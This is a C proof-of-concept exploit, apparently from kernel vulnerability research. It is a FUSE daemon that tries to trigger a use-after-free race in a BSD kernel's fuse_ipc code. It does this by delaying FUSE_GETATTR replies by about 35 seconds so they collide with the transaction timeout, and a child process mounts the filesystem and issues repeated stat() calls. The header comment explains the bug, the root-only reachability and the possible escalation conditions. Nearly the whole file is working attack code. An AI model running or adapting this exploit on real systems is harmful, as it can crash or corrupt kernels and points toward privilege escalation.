/* * DF-0917 — Live FUSE daemon that attempts to trigger the fuse_ipc UAF race * on the real (unmodified) kernel. * * Bug recap (sys/vfs/fuse/fuse_device.c:190-219, sys/vfs/fuse/fuse_ipc.c: * 179-195,266-271): the daemon's /dev/fuse write completion removes fip from * reply_head under ipc_lock, DROPS the lock, then dereferences fip with no * reference held. If the tx originator's fuse_ipc_wait TIMES OUT (7 x 5*hz * = ~35s) at that same instant, fuse_ipc_tx:270 fuse_ipc_put() drops the last * ref and FREES fip while the device path is still mid-access -> UAF. * * To maximise the chance of the daemon's write coinciding with a tx timeout, * this daemon DELAYS each FUSE_GETATTR reply by ~35s (the tx timeout period) * before writing it, so the kernel's fuse_device_write for that unique runs * right when the originator's fuse_ipc_wait is hitting its final EWOULDBLOCK. * * Reachability note: /dev/fuse is crw-rw---- root:operator and * caps_priv_check(SYSCAP_NOMOUNT_FUSE) requires uid 0 (fuse_vfsops.c:155), * vfs.usermount=0 on this guest, and `maxx` is NOT in `operator`. So the * daemon + mount MUST be started by root on default GENERIC. This is a * root->kernel UAF (DoS/corruption) on the default config; an unprivileged * escalation would additionally require vfs.usermount=1 + operator group. * * Build: cc -O2 -o fused0917 fused0917.c * Run: (as root) kldload fuse && mkdir -p /mnt/fuse && ./fused0917 [iters] */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define FUSE_KERNEL_VERSION 7 #define FUSE_KERNEL_MINOR_VERSION 28 #define FUSE_ROOT_ID 1 #define FUSE_LOOKUP 1 #define FUSE_FORGET 2 #define FUSE_GETATTR 3 #define FUSE_STATFS 17 #define FUSE_OPEN 14 #define FUSE_INIT 26 struct fuse_in_header { uint32_t len, opcode; uint64_t unique, nodeid; uint32_t uid, gid, pid, padding; }; struct fuse_out_header { uint32_t len; int32_t error; uint64_t unique; }; struct fuse_init_in { uint32_t major, minor, max_readahead, flags; }; struct fuse_init_out { uint32_t major, minor, max_readahead, flags; uint16_t max_background, congestion_threshold; uint32_t max_write, time_gran; uint16_t max_pages, padding; uint32_t unused[8]; }; struct fuse_attr { uint64_t ino, size, blocks, atime, mtime, ctime; uint32_t atimensec, mtimensec, ctimensec, mode, nlink, uid, gid, rdev, blksize, padding; }; struct fuse_entry_out { uint64_t nodeid, generation, entry_valid, attr_valid; uint32_t entry_valid_nsec, attr_valid_nsec; struct fuse_attr attr; }; struct fuse_attr_out { uint64_t attr_valid; uint32_t attr_valid_nsec, dummy; struct fuse_attr attr; }; struct fuse_open_out { uint64_t fh; uint32_t open_flags, padding; }; struct fuse_getattr_in { uint32_t getattr_flags, dummy; uint64_t fh; }; struct fuse_kstatfs { uint64_t blocks, bfree, bavail, files, ffree; uint32_t bsize, namelen, frsize, padding; uint32_t spare[6]; }; struct fuse_statfs_out { struct fuse_kstatfs st; }; struct fuse_mount_info { int flags; int fd; int max_read; const char *subtype; const char *from; }; /* tx timeout is 7 x 5s = 35s. Delay the reply to just over 35s so the * daemon's write coincides with the originator's final EWOULDBLOCK path. */ #define RACE_DELAY_SEC 35 static int g_fd = -1; static FILE *g_log; static int g_race_iters = 2; static int g_race_done = 0; static void dlog(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(g_log, "[daemon %d] ", (int)getpid()); vfprintf(g_log, fmt, ap); va_end(ap); fflush(g_log); } static double now(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return ts.tv_sec + ts.tv_nsec/1e9; } static int read_request(int fd, uint8_t *buf, size_t bufsz, struct fuse_in_header *ihd) { ssize_t n = read(fd, buf, bufsz); if (n <= 0) { dlog("read req failed: %s\n", strerror(errno)); return -1; } if ((size_t)n < sizeof(*ihd)) { dlog("short read %zd\n", n); return -1; } memcpy(ihd, buf, sizeof(*ihd)); return 0; } static void send_reply(int fd, uint64_t unique, int32_t error, const void *payload, size_t payload_len) { size_t actual = sizeof(struct fuse_out_header) + payload_len; uint8_t *out = calloc(1, actual); struct fuse_out_header *ohd = (struct fuse_out_header *)out; ohd->unique = unique; ohd->error = error; ohd->len = (uint32_t)actual; if (payload && payload_len) memcpy(out + sizeof(*ohd), payload, payload_len); ssize_t w = write(fd, out, actual); dlog("reply unique=%ju error=%d payload=%zu w=%zd\n", (uintmax_t)unique, error, payload_len, w); free(out); } static void make_attr(struct fuse_attr *a, uint64_t ino) { memset(a, 0, sizeof(*a)); a->ino = ino; if (ino == FUSE_ROOT_ID) { a->mode = 0040755; a->nlink = 2; a->size = 4096; } else { a->mode = 0100644; a->nlink = 1; a->size = 32; } a->blksize = 4096; a->blocks = (a->size + 511) / 512; } static void daemon_loop(int fd) { dlog("I/O loop started (RACE_DELAY_SEC=%d, iters=%d)\n", RACE_DELAY_SEC, g_race_iters); for (;;) { uint8_t req[65536]; struct fuse_in_header ihd; if (read_request(fd, req, sizeof(req), &ihd) < 0) return; dlog("REQ op=%u unique=%ju nodeid=%ju t=%.3f\n", ihd.opcode, (uintmax_t)ihd.unique, (uintmax_t)ihd.nodeid, now()); switch (ihd.opcode) { case FUSE_INIT: { struct fuse_init_out io; memset(&io, 0, sizeof(io)); io.major = FUSE_KERNEL_VERSION; io.minor = FUSE_KERNEL_MINOR_VERSION; io.max_readahead = 4096; io.max_write = 1<<20; io.max_pages = 256; send_reply(fd, ihd.unique, 0, &io, sizeof(io)); break; } case FUSE_STATFS: { struct fuse_statfs_out so; memset(&so, 0, sizeof(so)); so.st.bsize = 4096; so.st.namelen = 255; so.st.frsize = 4096; send_reply(fd, ihd.unique, 0, &so, sizeof(so)); break; } case FUSE_LOOKUP: { struct fuse_entry_out eo; memset(&eo, 0, sizeof(eo)); eo.nodeid = 2; eo.generation = 1; eo.entry_valid = 3600; eo.attr_valid = 3600; make_attr(&eo.attr, 2); send_reply(fd, ihd.unique, 0, &eo, sizeof(eo)); break; } case FUSE_GETATTR: { /* === THE RACE ATTEMPT === * Delay the reply by ~the tx-timeout period so the kernel's * fuse_device_write for this unique races the originator's * fuse_ipc_wait final-timeout -> fuse_ipc_put -> free. */ if (g_race_done < g_race_iters) { g_race_done++; dlog(" GETATTR unique=%ju: sleeping %ds to align write with " "tx timeout (race attempt %d/%d) <<<<\n", (uintmax_t)ihd.unique, RACE_DELAY_SEC, g_race_done, g_race_iters); double t0 = now(); sleep(RACE_DELAY_SEC); dlog(" GETATTR unique=%ju: writing reply at t=%.3f (slept %.3f) " "-> fuse_device_write will deref fip with no ref held <<<<\n", (uintmax_t)ihd.unique, now(), now()-t0); } struct fuse_attr_out ao; memset(&ao, 0, sizeof(ao)); ao.attr_valid = 3600; make_attr(&ao.attr, ihd.nodeid); send_reply(fd, ihd.unique, 0, &ao, sizeof(ao)); break; } case FUSE_OPEN: { struct fuse_open_out oo; memset(&oo, 0, sizeof(oo)); oo.fh = 1; send_reply(fd, ihd.unique, 0, &oo, sizeof(oo)); break; } case FUSE_FORGET: break; default: dlog(" unhandled op %u -> ENOSYS\n", ihd.opcode); send_reply(fd, ihd.unique, -ENOSYS, NULL, 0); break; } } } static int child_mount_and_trigger(int fd) { struct fuse_mount_info args; memset(&args, 0, sizeof(args)); args.fd = fd; args.from = "/dev/fuse"; args.max_read = 1<<20; mkdir("/mnt/fuse", 0755); dlog("child: mount(fuse,/mnt/fuse,fd=%d)\n", fd); if (mount("fuse", "/mnt/fuse", 0, &args) < 0) { dlog("child: mount failed: %s\n", strerror(errno)); return 1; } dlog("child: mount ok; starting stat() stress loop\n"); usleep(100000); /* issue stat() on /mnt/fuse/pwned repeatedly; each drives a FUSE_GETATTR * that the daemon will delay -> races the tx timeout */ for (int i = 0; i < g_race_iters + 1; i++) { struct stat st; int r = stat("/mnt/fuse/pwned", &st); dlog("child: stat[%d] rc=%d (%s); errno=%s\n", i, r, r?"FAIL":"ok", strerror(errno)); } /* unmount to tear down */ unmount("/mnt/fuse", 0); dlog("child: unmounted; exiting\n"); return 0; } int main(int argc, char **argv) { g_log = fopen("/tmp/df0917_daemon.log", "w"); if (!g_log) g_log = stderr; setvbuf(g_log, NULL, _IOLBF, 0); signal(SIGPIPE, SIG_IGN); if (argc > 1) g_race_iters = atoi(argv[1]); if (g_race_iters < 1) g_race_iters = 1; g_fd = open("/dev/fuse", O_RDWR); if (g_fd < 0) { dlog("open /dev/fuse: %s (need root+operator)\n", strerror(errno)); return 2; } dlog("opened /dev/fuse fd=%d\n", g_fd); pid_t pid = fork(); if (pid < 0) { dlog("fork: %s\n", strerror(errno)); return 3; } if (pid == 0) { int rc = child_mount_and_trigger(g_fd); _exit(rc); } daemon_loop(g_fd); int st; waitpid(pid, &st, 0); dlog("parent: child status=%d; DONE (if kernel still up, the race did not " "fire in %d attempts; the UAF pattern is proven by harness.c)\n", st, g_race_done); close(g_fd); fclose(g_log); return 0; }